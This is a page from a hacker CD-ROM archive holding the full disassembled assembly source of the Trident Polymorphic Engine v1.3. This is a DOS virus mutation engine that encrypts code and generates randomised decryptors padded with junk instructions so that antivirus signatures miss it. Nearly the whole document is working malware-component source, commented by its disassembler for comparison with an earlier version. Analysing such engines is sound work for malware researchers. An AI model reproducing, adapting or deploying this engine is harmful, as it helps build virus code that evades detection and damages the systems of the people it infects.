home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / tridcoll.err / MASUDKHA.ZIP / TPE13.ZIP / TPE-V13.ASM < prev    next >
Encoding:
Assembly Source File  |  1993-04-01  |  30.9 KB  |  1,010 lines

  1. .radix 16
  2.  
  3. ;=============================================================================
  4. ;                                                                            =
  5. ;                        Trident Polymorphic Engine v1.3                     =
  6. ;                        -------------------------------                     =
  7. ;                                                                            =
  8. ;            Dissassembled by: Lucifer Messiah -- ANARKICK SYSTEMS           =
  9. ;                                                                            =
  10. ;            This dissassembly uses as many of the labels from the           =
  11. ;            TPE v1.2 dissassembly as possible, to allow comparison          =
  12. ;                                                                            =
  13. ;----------------------------------------------------------------------------=
  14. ;                                                                            =
  15. ;       Trident Polymorphic Engine v1.3                                      =
  16. ;       -------------------------------                                      =
  17. ;                                                                            =
  18. ;       Input:                                                               =
  19. ;             ES        Work Segment                                         =
  20. ;             DS:DX     Code to be encrypted                                 =
  21. ;             BP        Becomes offset of TPE                                =
  22. ;             SI        Distance to put betwen decryptor and code            =
  23. ;             CX        Length of code to encrypt                            =
  24. ;             AX        Bit Field Flags:  bit 0: DS will not be equal to CS  =
  25. ;                                         bit 1: insert random instructions  =
  26. ;                                         bit 2: put junk before decryptor   =
  27. ;                                         bit 3: Preserve AX with decryptor  =
  28. ;                                                                            =
  29. ;       Output:                                                              =
  30. ;             ES        Work segment (preserved)                             =
  31. ;             DS:DX     Decryptor + encrypted code                           =
  32. ;             BP        Start of decryptor                                   =
  33. ;             DI        Length of decryuptor/offset of encrypted code        =
  34. ;             CX        Length of decryptor + encrypted code                 =
  35. ;             AX        Length of encrypted code                             =
  36. ;                                                                            =
  37. ;=============================================================================
  38.  
  39. .model tiny
  40. .code
  41.  
  42. public          rnd_init
  43. public          rnd_get
  44. public          crypt
  45. public          tpe_top
  46. public          tpe_bottom
  47.  
  48.  
  49.                 org     100h
  50.  
  51. tpe_top         equ     $
  52.                 db      '[ MK / TridenT ]'      ;Encryptor name
  53. crypt:
  54.                 push    ds                      ;save registers
  55.                 push    dx
  56.                 push    si
  57.                 push    cs
  58.                 pop     ds
  59.                 call    TPE_13
  60.  
  61. TPE_13:
  62.                 pop     si
  63.                 sub     si,offset TPE_13        ;get delta offset
  64.  
  65.                 xor     di,di                   ;di=start of decryptor
  66.                 mov     byte ptr flags[si],al
  67.                 test    al,08
  68.                 je      no_push
  69.                 mov     al,50h
  70.                 stosb
  71.  
  72. no_push:
  73.                 call    rnd_get                 ;add a few bytes to cx
  74.                 and     ax,1fh
  75.                 add     cx,ax
  76.                 push    cx                      ;save length of code
  77.                 call    rnd_get                 ;get random flags
  78.                 xchg    ax,bx
  79.  
  80. ;--- Flags: -----------------------------------------------
  81. ;
  82. ; 0,1   encryption method
  83. ; 2,3   which registers to use in encryption engine
  84. ; 4     use byte or word for encrypt
  85. ; 5     MOV AL, MOV AH, or MOV AX
  86. ; 6     MOV CL, MOV CH, or MOV CX
  87. ; 7     AX or DX
  88. ; 8     count up or down
  89. ; 9     ADD/SUB/INC/DEC or CMPSW/SCASW
  90. ; A     ADD/SUB or INC/DEC
  91. ;       CMPSW or SCASW
  92. ; B     offset in XOR instrucion?
  93. ; C     LOOPNZ or LOOP
  94. ;       SUB CX or DEC CX
  95. ; D     carry with crypt ADD/SUB
  96. ; E     carry with inc ADD/SUB
  97. ; F     XOR instruction value or AX/DX
  98. ;
  99. ;----------------------------------------------------------
  100.  
  101. random:
  102.                 call    rnd_not_0               ;get encryption value
  103.                 mov     word ptr xor_val[si],ax ;store it
  104.  
  105.                 call    do_junk                 ;insert random instructions
  106.                 pop     cx
  107.                 mov     ax,0111h                ;make flags to remember which
  108.                 test    bl,20h                  ; MOV instructions are used
  109.                 jne     z0
  110.                 xor     al,07
  111.  
  112. z0:
  113.                 test    bl,0ch
  114.                 jne     z1
  115.                 xor     al,70h
  116.  
  117. z1:
  118.                 test    bl,40h
  119.                 jne     z2
  120.                 xor     ah,07
  121.  
  122. z2:
  123.                 test    bl,10h
  124.                 jne     z3
  125.                 and     al,73h
  126.  
  127. z3:
  128.                 test    bh,80h
  129.                 jne     z4
  130.                 and     al,70h
  131.  
  132. z4:
  133.                 mov     dx,ax
  134.  
  135. mov_lup:
  136.                 call    rnd_get                 ;put MOV instructions in a
  137.                 and     ax,000fh                ; random order
  138.                 cmp     al,0ah
  139.                 ja      mov_lup
  140.                 mov     word ptr store_mov[si],ax ; Why????
  141.                 push    cx                      ;test if MOV already done
  142.                 xchg    ax,cx
  143.                 mov     ax,0001h
  144.                 shl     ax,cl
  145.                 mov     cx,ax
  146.                 and     cx,dx
  147.                 pop     cx
  148.                 je      mov_lup
  149.                 xor     dx,ax                   ;remember which MOV done
  150.  
  151.                 push    dx
  152.                 call    do_mov                  ;insert MOV instruction
  153.                 call    do_nop                  ;insert a random NOP
  154.                 pop     dx
  155.                 or      dx,dx                   ;all MOVs done?
  156.                 jne     mov_lup
  157.                 push    di                      ;save start of decryptor loop
  158.                 call    do_add_ax               ;add a value to AX in loop?
  159.                 call    do_nop
  160.                 test    bh,20h                  ;carry with ADD/SUB?
  161.                 je      no_clc
  162.                 mov     al,0f8h
  163.                 stosb
  164.  
  165. no_clc:
  166.                 mov     word ptr xor_offset[si],0000h
  167.                 call    do_xor                  ;place all loop instructions
  168.                 call    do_nop
  169.                 call    do_add
  170.                 pop     dx                      ;get start of decryptor loop
  171.                 call    do_loop
  172.                 test    byte ptr flags[si],08   ;insert POP AX??
  173.                 je      no_pop
  174.                 mov     al,58h
  175.                 stosb
  176.  
  177. no_pop:
  178.                 mov     ax,di                   ;calculate loop offset
  179.                 add     ax,bp
  180.                 pop     dx
  181.                 add     ax,dx
  182.                 sub     ax,word ptr xor_offset[si]
  183.                 push    di
  184.                 mov     di,word ptr where_len[si]
  185.                 test    bl,0ch                  ;are BL,BH used for encryption?
  186.                 jne     v2
  187.                 mov     byte ptr es:[di],al
  188.                 mov     di,word ptr where_len2[si]
  189.                 mov     byte ptr es:[di],ah
  190.                 jmp     short v3
  191.  
  192. v2:
  193.                 mov     word ptr es:[di],ax
  194.  
  195. v3:
  196.                 pop     di
  197.                 mov     dx,word ptr xor_val[si]
  198.                 mov     bp,word ptr add_val[si]
  199.                 pop     si                      ;ds:si=start of code
  200.                 pop     ds
  201.                 push    di                      ;save pointer to encrypted code
  202.                 push    cx                      ;save length of encrypted code
  203.                 test    bl,10h                  ;byte or word?
  204.                 je      blup
  205.                 inc     cx                      ;cx=# of crypts (words)
  206.                 shr     cx,1
  207.  
  208. lup:
  209.                 lodsw                           ;encrypt code (words)
  210.                 call    do_encrypt
  211.                 stosw
  212.                 loop    lup
  213.                 jmp     short klaar
  214.  
  215. blup:
  216.                 lodsb                           ;encrypt code (bytes)
  217.                 xor     dh,dh
  218.                 call    do_encrypt
  219.                 stosb
  220.                 loop    blup
  221.  
  222. klaar:
  223.                 mov     cx,di                   ;cx=length decryptor + code
  224.                 pop     ax                      ;ax=length of decrypted code
  225.                 pop     di                      ;offset encrypted code
  226.                 xor     dx,dx                   ;ds:dx=decryptor + cr. code
  227.                 push    es
  228.                 pop     ds
  229.                 retn
  230.  
  231. ;--- Encrypt the Code -------------------------------------
  232.  
  233. do_encrypt:
  234.                 add     dx,bp
  235.                 test    bl,02
  236.                 jne     lup1
  237.                 xor     ax,dx
  238.                 retn
  239.  
  240. lup1:
  241.                 test    bl,01
  242.                 jne     lup2
  243.                 sub     ax,dx
  244.                 retn
  245.  
  246. lup2:
  247.                 add     ax,dx
  248.                 retn
  249.  
  250. ;--- Generate MOV reg,xxxx --------------------------------
  251.  
  252. do_mov:
  253.                 mov     dx,word ptr mov_byte[si]
  254.                 push    bx
  255.                 mov     bx,dx
  256.                 mov     al,byte ptr mov_here[bx+si]
  257.  
  258.                 pop     bx
  259.                 cmp     dl,04                   ; bx???
  260.                 jne     is_not_bx
  261.                 call    add_ind
  262.  
  263. is_not_bx:
  264.                 test    dl,0ch                  ; a*?
  265.                 pushf
  266.                 jne     is_not_a
  267.                 test    bl,80h                  ; a* or d*?
  268.                 je      is_not_a
  269.                 add     al,02
  270.  
  271. is_not_a:
  272.                 call    alter                   ; insert the MOV
  273.                 popf                            ; a*
  274.                 jne     is_not_a2
  275.                 mov     ax,word ptr xor_val[si]
  276.                 jmp     short sss
  277.  
  278. is_not_a2:
  279.                 test    dl,08                   ; b*?
  280.                 jne     is_not_b
  281.                 push    bx
  282.                 lea     bx,word ptr where_len[si]
  283.                 test    dl,02
  284.                 je      is_not_bh
  285.                 add     bx,02
  286.  
  287. is_not_bh:
  288.                 mov     word ptr [bx],di
  289.                 pop     bx
  290.                 jmp     short sss
  291.  
  292. is_not_b:
  293.                 mov     ax,cx                   ;c*?
  294.                 test    bl,10h                  ;byte or word encryption?
  295.                 je      sss
  296.                 inc     ax                      ;only half the number of bytes
  297.                 shr     ax,1
  298.  
  299. sss:
  300.                 test    dl,03                   ;byte or word register?
  301.                 je      is_x
  302.                 test    dl,02                   ;*h?
  303.                 je      is_not_h
  304.                 xchg    ah,al
  305.  
  306. is_not_h:
  307.                 stosb
  308.                 retn
  309.  
  310. is_x:
  311.                 stosw
  312.                 retn
  313.  
  314. ;--- Insert MOV or alternative for MOV --------------------
  315.  
  316. alter:
  317.                 push    bx
  318.                 push    cx
  319.                 push    ax
  320.                 call    rnd_get
  321.                 xchg    ax,bx
  322.                 pop     ax
  323.                 test    bl,03                   ;use alternative for MOV?
  324.                 je      no_alter
  325.  
  326.                 push    ax
  327.                 and     bx,0fh
  328.                 and     al,08
  329.                 shl     ax,1
  330.                 or      bx,ax
  331.                 pop     ax
  332.  
  333.                 and     al,07
  334.                 mov     cl,09
  335.                 xchg    ax,cx
  336.                 mul     cl
  337.  
  338.                 add     ax,30c0h
  339.                 xchg    ah,al
  340.                 test    bl,04
  341.                 je      no_sub
  342.                 mov     al,28h
  343. no_sub:         call    maybe_2
  344.                 stosw
  345.  
  346.                 mov     al,80h
  347.                 call    maybe_2
  348.                 stosb
  349.  
  350.                 xchg    ax,bx
  351.                 and     ax,0003h
  352.                 lea     bx,word ptr alt_code[si]
  353.                 xlat                            ;AL = DS:[BX+AL]
  354.                 add     al,cl
  355.  
  356. no_alter:       stosb
  357.                 pop     cx
  358.                 pop     bx
  359.                 retn
  360.  
  361. ;--- Insert ADD AX,XXXX -----------------------------------
  362.  
  363. do_add_ax:
  364.                 push    cx
  365.                 mov     word ptr add_val[si],0  ;save ADD value here
  366.  
  367.                 mov     ax,bx
  368.                 and     ax,8110h
  369.                 xor     ax,8010h
  370.                 jne     no_add_ax               ;use ADD?
  371.  
  372.                 mov     ax,bx
  373.                 xor     ah,ah
  374.                 mov     cl,03
  375.                 div     cl
  376.                 or      ah,ah
  377.                 jne     no_add_ax               ;use ADD?
  378.  
  379.                 test    bl,80h
  380.                 jne     do_81C2                 ;AX or DX?
  381.                 mov     al,05
  382.                 stosb
  383.                 jmp     short do_add0
  384.  
  385. do_81C2:        mov     ax,0c281h
  386.                 stosw
  387.  
  388. do_add0:        call    rnd_get
  389.                 mov     word ptr add_val[si],ax
  390.                 stosw
  391.  
  392. no_add_ax:      pop     cx
  393.                 retn
  394.  
  395. ;--- generate encryption command --------------------------
  396.  
  397. do_xor:
  398.                 test    byte ptr flags[si],01
  399.                 je      no_cs
  400.                 mov     al,2eh                  ;insert CS: instruction
  401.                 stosb
  402.  
  403. no_cs:          test    bh,80h                  ;type of XOR command
  404.                 je      xor1
  405.                 call    get_xor
  406.                 call    do_carry
  407.                 call    save_it
  408.                 xor     ax,ax
  409.                 test    bl,80h
  410.                 je      xxxx
  411.                 add     al,10h
  412.  
  413. xxxx:
  414.                 call    add_dir
  415.                 test    bh,08
  416.                 jne     yyyy
  417.                 stosb
  418.                 retn
  419.  
  420. yyyy:           or      al,80h
  421.                 stosb
  422.                 call    rnd_get
  423.                 stosw
  424.                 mov     word ptr xor_offset[si],ax
  425.                 retn
  426.  
  427. xor1:           mov     al,80h                  ;encrypt with value
  428.                 call    save_it
  429.                 call    get_xor
  430.                 call    do_carry
  431.                 call    xxxx
  432.                 mov     ax,word ptr xor_val[si]
  433.                 test    bl,10h
  434.                 jmp     byte_word
  435.  
  436. ;--- generate increase/decrease command -------------------
  437.  
  438. do_add:
  439.                 test    bl,08                   ;no CMPSW/SCASW if BX is used
  440.                 je      da0
  441.                 test    bh,02                   ;ADD/SUB/INC/DEC or CMPSW/SCASW
  442.                 jne     do_cmpsw
  443.  
  444.  
  445. da0:            test    bh,04                   ;ADD/SUB or INC/DEC?
  446.                 je      add1
  447.                 mov     al,40h                  ;INC/DEC
  448.  
  449. add0:
  450.                 call    add_ind
  451.                 stosb
  452.                 test    bl,10h                  ;byte or word?
  453.                 je      return
  454.                 stosb                           ;same instruction again
  455.  
  456. return:         retn
  457.  
  458. add1:           test    bh,40h                  ;ADD/SUB
  459.                 je      no_clc2                 ;carry??
  460.                 mov     al,0f8h                 ;insert CLC
  461.                 stosb
  462.  
  463. no_clc2:        mov     al,83h
  464.                 stosb
  465.                 mov     al,0c0h
  466.                 test    bh,40h
  467.                 je      add2
  468.                 and     al,0cfh
  469.                 or      al,10h
  470.  
  471. add2:           call    add_ind
  472.                 stosb
  473.                 mov     al,01
  474.  
  475. save_it:
  476.                 call    add_1
  477.                 stosb
  478.                 retn
  479.  
  480. do_cmpsw:       test    bh,04                   ;CMPSW or SCASW
  481.                 je      normal_cmpsw
  482.                 test    bl,04                   ;no SCASW if SI is used
  483.                 jne     do_scasw
  484.  
  485. normal_cmpsw:   mov     al,0a6h
  486.                 jmp     short save_it
  487.  
  488. do_scasw:       mov     al,0aeh
  489.                 jmp     short save_it
  490.  
  491. ;--- generate LOOP command --------------------------------
  492.  
  493. do_loop:
  494.                 test    bh,01                   ;no JNE if counting down
  495.                 jne     cx_loop
  496.                 mov     al,0e0h                 ;LOOPNZ or LOOP?
  497.                 test    bh,1ah                  ; no LOOPNZ if xor-offset
  498.                 je      l10                     ; no LOOPNZ if CMP/SCASW
  499.                 add     al,02
  500.  
  501. l10:            stosb
  502.                 mov     ax,dx
  503.                 sub     ax,di
  504.                 dec     ax
  505.                 stosb
  506.                 retn
  507.  
  508. cx_loop:        test    bh,10h                  ;SUB CX or DEC CX??
  509.                 jne     cxl_dec
  510.                 mov     al,83h
  511.                 stosb
  512.                 call    rnd_get
  513.                 test    al,01
  514.                 jne     b062c9
  515.                 mov     ax,01e9h
  516.                 jmp     short asdfasdf          
  517.  
  518. b062c9:         mov     ax,0ffc1h
  519.  
  520. asdfasdf:       stosw
  521.                 jmp     short do_jne
  522.  
  523. cxl_dec:        mov     al,49h
  524.                 stosb
  525.  
  526. do_jne:         call    rnd_get
  527.                 test    al,01
  528.                 mov     al,7fh
  529.                 jne     l10
  530.                 mov     al,75h
  531.                 jmp     short l10
  532.  
  533. ;--- add value to AL depending on register type -----------
  534.  
  535. add_dir:
  536.                 push    di
  537.                 lea     di,word ptr dir_change[si]
  538.                 jmp     short xx1
  539.  
  540. add_ind:
  541.                 push    di
  542.                 lea     di,word ptr ind_change[si]
  543.  
  544. xx1:            push    bx
  545.                 shr     bl,1
  546.                 shr     bl,1
  547.                 and     bx,03
  548.                 add     al,byte ptr [bx+di]
  549.                 pop     bx
  550.                 pop     di
  551.                 retn
  552.  
  553. ;--- mov encryption command byte to AL --------------------
  554.  
  555. get_xor:
  556.                 push    bx
  557.                 xchg    ax,bx
  558.                 and     ax,0003h
  559.                 lea     bx,word ptr how_mode[si]
  560.                 xlat
  561.                 pop     bx
  562.                 retn
  563.  
  564. ;--- change ADD to ADC ------------------------------------
  565.  
  566. do_carry:
  567.                 test    bl,02                   ;ADD/SUB used for encryption?
  568.                 je      no_ac
  569.                 test    bh,20h
  570.                 je      no_ac
  571.                 and     al,0cfh
  572.                 or      al,10h
  573.  
  574. no_ac:          retn
  575.  
  576. ;--- change AL (byte/word) --------------------------------
  577.  
  578. add_1:
  579.                 test    bl,10h
  580.                 je      add_1_ret
  581.                 inc     al
  582.  
  583. add_1_ret:      retn
  584.  
  585. ;--- change AL (byte/word) --------------------------------
  586.  
  587. maybe_2:
  588.                 call    add_1                   ;can't touch this
  589.                 cmp     al,81h
  590.                 je      maybe_not
  591.                 push    ax
  592.                 call    rnd_get
  593.                 test    al,01
  594.                 pop     ax
  595.                 je      maybe_not
  596.                 add     al,02
  597.  
  598. maybe_not:      retn
  599.  
  600. ;--- insert random instructions ---------------------------
  601.  
  602. do_junk:
  603.                 test    byte ptr flags[si],04
  604.                 je      no_junk
  605.                 call    rnd_get                 ;put a random number of
  606.                 and     ax,000fh                ; dummy instructions before
  607.                 inc     ax                      ; decryptor
  608.                 xchg    ax,cx
  609. junk_loop:      call    junk
  610.                 loop    junk_loop
  611.  
  612. no_junk:         retn
  613.  
  614. ;--- Insert random nop (or not) ---------------------------
  615.  
  616. do_nop:
  617.                 test    byte ptr flags[si],02
  618.  
  619. yes_nop:        je      no_nop
  620.                 call    rnd_get
  621.                 test    al,03
  622.                 je      nop8
  623.                 test    al,02
  624.                 je      nop16
  625.                 test    al,01
  626.                 je      nop16x
  627.  
  628. no_nop:         retn
  629.  
  630. ;--- get rough random nop (may affect register values -----
  631.  
  632. junk:
  633.                 call    rnd_get
  634.                 and     ax,001eh
  635.                 jmp     short aa0
  636.  
  637. nop16x:         call    rnd_get
  638.                 and     ax,0006h
  639.  
  640. aa0:            push    bx
  641.                 xchg    ax,bx
  642.                 call    rnd_get
  643.                 mov     bx,word ptr junk_cals[bx+si]
  644.                 add     bx,si
  645.                 call    bx
  646.                 pop     bx
  647.                 retn
  648.  
  649. ;--- NOP and junk addresses -------------------------------
  650.  
  651. junk_cals:
  652.                 dw      offset nop16x0
  653.                 dw      offset nop16x1
  654.                 dw      offset nop16x2
  655.                 dw      offset nop16x3
  656.                 dw      offset nop8
  657.                 dw      offset nop16
  658.                 dw      offset junk6
  659.                 dw      offset junk7
  660.                 dw      offset junk8
  661.                 dw      offset junk9
  662.                 dw      offset junkA
  663.                 dw      offset junkB
  664.                 dw      offset junkC
  665.                 dw      offset junkD
  666.                 dw      offset junkE
  667.                 dw      offset junkF
  668.  
  669. ;--- NOP and junk routines --------------------------------
  670.  
  671. nop16x0:
  672.                 add     byte ptr [si],cl        ; J* 0000 (conditional)
  673.                 jo      yes_nop                 ; Jump on Overflow
  674.                 retn
  675.  
  676. nop16x1:
  677.                 mov     al,0ebh                 ; JMP xxxx / junk
  678.                 and     ah,07
  679.                 inc     ah
  680.                 stosw
  681.                 xchg    ah,al                   ;get length of bullshit
  682.                 cbw                             ;convrt AL to AX
  683.                 jmp     fill_bullshit
  684.  
  685. nop16x2:
  686.                 call    junkD                   ; XCHG AX,reg /XCHG AX,reg
  687.                 stosb
  688.                 retn
  689.  
  690. nop16x3:
  691.                 call    junkF                   ; INC/DEC or DEC/INC
  692.                 xor     al,08
  693.                 stosb
  694.                 retn
  695.  
  696. nop8:
  697.                 push    bx
  698.                 and     al,07
  699.                 lea     bx,word ptr nop_data8[si]
  700.                 xlat                            ; AL = DS:[BX+AL]
  701.                 stosb
  702.                 pop     bx
  703.                 retn
  704.  
  705. nop16:          push    bx
  706.                 and     ax,0303h
  707.                 lea     bx,word ptr nop_data16[si]
  708.                 xlat                            ; AL = DS:[BX+AL]
  709.                 add     al,ah
  710.                 stosb
  711.                 call    rnd_get
  712.                 and     al,07
  713.                 mov     bl,09
  714.                 mul     bl
  715.                 add     al,0c0h
  716.                 stosb
  717.                 pop     bx
  718.                 retn
  719.  
  720. junk6:
  721.                 push    cx
  722.                 mov     al,0e8h                 ;CALL xxxx / junk / POP reg
  723.                 and     ah,0fh
  724.                 inc     ah
  725.                 stosw
  726.                 xor     al,al
  727.                 stosb
  728.                 xchg    ah,al
  729.                 call    fill_bullshit
  730.                 call    do_nop
  731.                 call    rnd_get                 ;insert POP reg
  732.                 and     al,07
  733.                 call    no_sp
  734.                 mov     cx,ax
  735.                 or      al,58h
  736.                 stosb
  737.  
  738.                 test    ch,03                   ;more?
  739.                 jne     junk6_ret
  740.                 call    do_nop
  741.                 mov     ax,0f087h               ; insert XCHG SI,reg
  742.                 or      ah,cl
  743.                 test    ch,08
  744.                 je      j6_1
  745.                 mov     al,8bh
  746.  
  747. j6_1:           stosw
  748.                 call    do_nop
  749.                 call    rnd_get
  750.                 xchg    ax,bx
  751.                 and     bx,0f7fbh               ;insert XOR [SI],xxxx
  752.                 or      bl,08
  753.                 call    do_xor
  754.  
  755. junk6_ret:      pop     cx
  756.                 retn
  757.  
  758. junk7:
  759.                 and     al,0fh                  ;MOV reg,xxxx
  760.                 or      al,0b0h
  761.                 call    no_sp
  762.                 stosb
  763.                 test    al,08
  764.                 pushf
  765.                 call    rnd_get
  766.                 popf
  767.                 jmp     short byte_word
  768.  
  769. junk8:
  770.                 and     ah,39h                  ;DO r/m,r(8,16)
  771.                 or      al,0c0h
  772.                 call    no_sp
  773.                 xchg    ah,al
  774.                 stosw
  775.                 retn
  776.  
  777. junk9:
  778.                 and     al,3bh                  ;DO r(8/16),r/m
  779.                 or      al,02
  780.                 and     ah,3fh
  781.                 test    al,01
  782.                 je      junk9_ret
  783.                 or      ah,0c0h
  784.  
  785. junk9_ret:      call    no_sp2
  786.                 call    no_bp
  787.                 stosw
  788.                 retn
  789.  
  790. junkA:
  791.                 and     ah,01                   ;DO rm,xxxx
  792.                 or      ax,80c0h
  793.                 call    no_sp
  794.                 xchg    ah,al
  795.                 stosw
  796.                 test    al,01
  797.                 pushf
  798.                 call    rnd_get
  799.                 popf
  800.                 jmp     short byte_word
  801.  
  802. junkB:
  803.                 call    nop8                    ;NOP/LOOP
  804.                 mov     ax,0fde2h
  805.                 stosw
  806.                 retn
  807.  
  808. junkC:
  809.                 and     al,09                   ;CMPS* or SCAS*
  810.                 test    ah,01
  811.                 je      mov_test
  812.                 or      al,0a6h
  813.                 and     al,0feh
  814.                 stosb
  815.                 retn
  816.  
  817. mov_test:       or      al,0a0h                 ;MOV AX,[xxxx] or TEST AX,xxxx
  818.                 stosb
  819.                 cmp     al,0a8h
  820.                 pushf
  821.                 call    rnd_not_0
  822.                 dec     ax
  823.                 popf
  824.                 jmp     short byte_word
  825.  
  826. junkD:
  827.                 and     al,07                   ; XCHG AX,reg
  828.                 or      al,90h
  829.                 call    no_sp
  830.                 stosb
  831.                 retn
  832.  
  833.  
  834. junkE:
  835.                 and     ax,0307h
  836.                 or      ax,5850h
  837.                 stosw
  838.                 retn
  839.  
  840. junkF:
  841.                 and     al,0fh                  ; INC/DEC
  842.                 or      al,40h
  843.                 call    no_sp
  844.                 stosb
  845.                 retn
  846.  
  847. ;--- store a byte or a word -------------------------------
  848.  
  849. byte_word:      je      only_byte
  850.                 stosw
  851.                 retn
  852.  
  853. only_byte:      stosb
  854.                 retn
  855.  
  856. ;--- don't fuck with sp -----------------------------------
  857.  
  858. no_sp:
  859.                 push    ax
  860.                 and     al,07
  861.                 cmp     al,04
  862.                 pop     ax
  863.                 jne     no_sp_ret
  864.                 and     al,0fbh
  865.  
  866. no_sp_ret:      retn
  867.  
  868. ;--- don't fuck with sp -----------------------------------
  869.  
  870. no_sp2:
  871.                 push    ax
  872.                 and     ah,38h
  873.                 cmp     ah,20h
  874.                 pop     ax
  875.                 jne     no_sp2_ret
  876.                 xor     ah,20h
  877.  
  878. no_sp2_ret:     retn
  879.  
  880. ;--- don't use [bp+..] ------------------------------------
  881.  
  882. no_bp:
  883.                 test    ah,04
  884.                 jne     no_bp2
  885.                 and     ah,0fdh
  886.                 retn
  887.  
  888. no_bp2:         push    ax
  889.                 and     ah,07
  890.                 cmp     ah,06
  891.                 pop     ax
  892.                 jne     no_bp_ret
  893.                 or      ah,01
  894.  
  895. no_bp_ret:      retn
  896.  
  897. ;--- write byte for JMP/CALL and fill with random bullshit
  898.  
  899. fill_bullshit:
  900.                 push    cx
  901.                 xchg    ax,cx
  902.  
  903. bull_lup:       call    rnd_get
  904.                 stosb
  905.                 loop    bull_lup
  906.                 pop     cx
  907.                 retn
  908.  
  909. ;--- random number generator ------------------------------
  910.  
  911. rnd_init:
  912.                 push    ax
  913.                 push    cx
  914.                 call    rnd_init0
  915.                 and     ax,000fh
  916.                 inc     ax
  917.                 xchg    ax,cx
  918.  
  919. random_lup:     call    rnd_get                 ;call random routine a few
  920.                 loop    random_lup              ; times to 'warm up'
  921.  
  922.                 pop     cx
  923.                 pop     ax
  924.                 retn
  925.  
  926. rnd_init0:
  927.                 push    dx                      ;initialize generator
  928.                 push    cx
  929.                 mov     ah,2ch
  930.                 int     21h                     ; get time CH,CL:DH,DL
  931.                 in      al,40h                  ; timer
  932.                 mov     ah,al
  933.                 in      al,40h                  ; timer
  934.  
  935.                 xor     ax,cx
  936.                 xor     dx,ax
  937.                 jmp     short move_rnd
  938.  
  939. rnd_not_0:
  940.                 call    rnd_get
  941.                 or      ax,ax
  942.                 je      rnd_not_0
  943.                 retn
  944.  
  945. rnd_get:
  946.                 push    dx                      ;calculate random number
  947.                 push    cx
  948.                 push    bx
  949.                 in      al,40h                  ;timer
  950.                 add     ax,0000h                ;ERROR: should be MOV ax,0
  951.                 mov     dx,0000h
  952.                 mov     cx,0007h
  953.  
  954. rnd_lup:        shl     ax,1
  955.                 rcl     dx,1
  956.                 mov     bl,al
  957.                 xor     bl,dh
  958.                 jns     rnd_12
  959.                 inc     al
  960.  
  961. rnd_12:         loop    rnd_lup
  962.                 pop     bx
  963.  
  964. move_rnd:       push    si
  965.                 call    mov_rnd2
  966.  
  967. mov_rnd2:
  968.                 pop     si
  969.                 mov     word ptr cs:[si-1Bh],ax ;  [si-(rnd_get+4)]
  970.                 mov     word ptr cs:[si-18h],dx ;  [si-(rnd_get+7)]
  971.                 pop     si
  972.                 mov     al,dl
  973.                 pop     cx
  974.                 pop     dx
  975.                 retn
  976.  
  977. ;--- TABLES FOR ENGINE ------------------------------------
  978.  
  979. mov_byte:       db      0b8,0b0,0b4,00          ;AX,AL,AH,..
  980.                 db      0b8,0b3,0b7,00          ;BX,BL,BH,..
  981.                 db      0b9,0b1,0b5             ;CX,CL,CH
  982.  
  983. nop_data8       db      90,0f8,0f9,0f5          ;NOP,CLC,STC,CMC
  984.                 db      0fa,0fc,45,4dh          ;CLI,CLD,INC BP,DEC BP
  985.  
  986. nop_data16      db      8,20,84,88              ;OR,AND,XCHG,MOV
  987.  
  988. dir_change      db      7,7,4,5                 ;BL/BH,BX,SI,DI
  989.  
  990. ind_change      db      3,3,6,7                 ;BL/BH,BX,SI,DI
  991.  
  992. how_mode        db      30,30,0,28              ;XOR,XOR,ADD,SUB
  993.  
  994. alt_code        dw      0c0f0, 0c800            ;????, ADD AL,CL
  995.  
  996. add_val         dw      00
  997. xor_val         dw      00
  998. xor_offset      dw      00
  999. where_len       dw      00
  1000. where_len2      dw      00
  1001. store_mov       dw      00
  1002. mov_here        =       $-1
  1003. flags           db      00
  1004.  
  1005. ID_Bytes        db      '[TPE 1.3]'
  1006. tpe_bottom      equ     $
  1007.  
  1008.                 end     crypt
  1009.  
  1010.